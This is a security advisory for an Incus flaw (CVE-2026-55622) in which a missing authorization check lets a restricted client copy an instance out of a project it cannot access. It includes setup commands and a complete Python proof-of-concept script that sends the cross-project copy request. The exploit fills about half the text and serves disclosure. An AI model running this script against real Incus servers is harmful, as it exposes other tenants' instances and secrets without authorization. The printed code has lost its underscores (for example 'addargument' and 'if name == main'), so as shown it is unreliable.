CVE-2026-55622: Incus has a project restriction bypass in instance copy across projects

Summary Missing authorization checks exist for instance copying where an attacker knowing the name of a project that they don't have access to and the name of an instance in that project can copy the instance to a new project. This issue could allow an attacker to access secrets in instances they are not authorized to access.

Details cmd/incusd/instances.go authorizes POST /1.0/instances against the target project. In the copy path, cmd/incusd/instancespost.go then loads the source instance from req.Source.Project without checking whether the caller can view that source instance.

The copy must occur on the same server. However, once the copy has been done, nothing prevents a malicious actor from moving the instance to another server.

PoC

Setup

Assumes the target server is remotely accessible and a user/certificate has been added.

create a new project and instance incus project create secrets incus profile show default | incus --project secrets edit default incus --project secrets init images:debian/trixie secret

restrict an existing certificate to prevent access to the project incus config trust edit cert-fp #> set, for example restricted: true projects: - default

verification, with the restricted certificate incus ls remote:

Exploitation

The below script was partly generated. To copy the secret instance to the default project, the following command can be used.

python3 poc.py --url https://IP-REMOTE:8443 \ --cert path/to/client.crt --key path/to/client.key \ --target-project default --source-project secrets \ --source-instance secret --name copy-secret --insecure

Wait a bit for the instance to be copied, then incus ls remote: to see the copied instance.

#!/usr/bin/env python3 """Copy an instance from a project the caller should not be able to read."""

from future import annotations

import argparse import json import ssl import sys import urllib.error import urllib.parse import urllib.request

def post(url: str, path: str, body: dict, cert: str, key: str, insecure: bool) -> bytes: ctx = ssl.createdefaultcontext() if insecure: ctx.checkhostname = False ctx.verifymode = ssl.CERTNONE ctx.loadcertchain(cert, key)

req = urllib.request.Request( url.rstrip("/") + path, data=json.dumps(body).encode(), method="POST", headers={"Content-Type": "application/json", "Accept": "application/json"}, ) try: with urllib.request.urlopen(req, context=ctx) as resp: return resp.read() except urllib.error.HTTPError as exc: sys.stderr.write(exc.read().decode(errors="replace") + "\n") raise

def main() -> int: ap = argparse.ArgumentParser() ap.addargument("--url", required=True) ap.addargument("--cert", required=True) ap.addargument("--key", required=True) ap.addargument("--target-project", required=True) ap.addargument("--source-project", required=True) ap.addargument("--source-instance", required=True) ap.addargument("--name", required=True, help="new instance name in target project") ap.addargument("--instance-only", action="storetrue") ap.addargument("--start", action="storetrue") ap.addargument("--insecure", action="storetrue") ap.addargument("--dry-run", action="storetrue") args = ap.parseargs()

body = { "name": args.name, "source": { "type": "copy", "source": args.sourceinstance, "project": args.sourceproject, "instanceonly": args.instanceonly, }, "start": args.start, } path = "/1.0/instances?" + urllib.parse.urlencode({"project": args.targetproject}) print(json.dumps(body, indent=2)) if args.dryrun: return 0 print(post(args.url, path, body, args.cert, args.key, args.insecure).decode(errors="replace")) return 0

if name == "main": raise SystemExit(main())

Impact

An attacker can copy instances they don't normally have access to, possibly leading to information disclosure.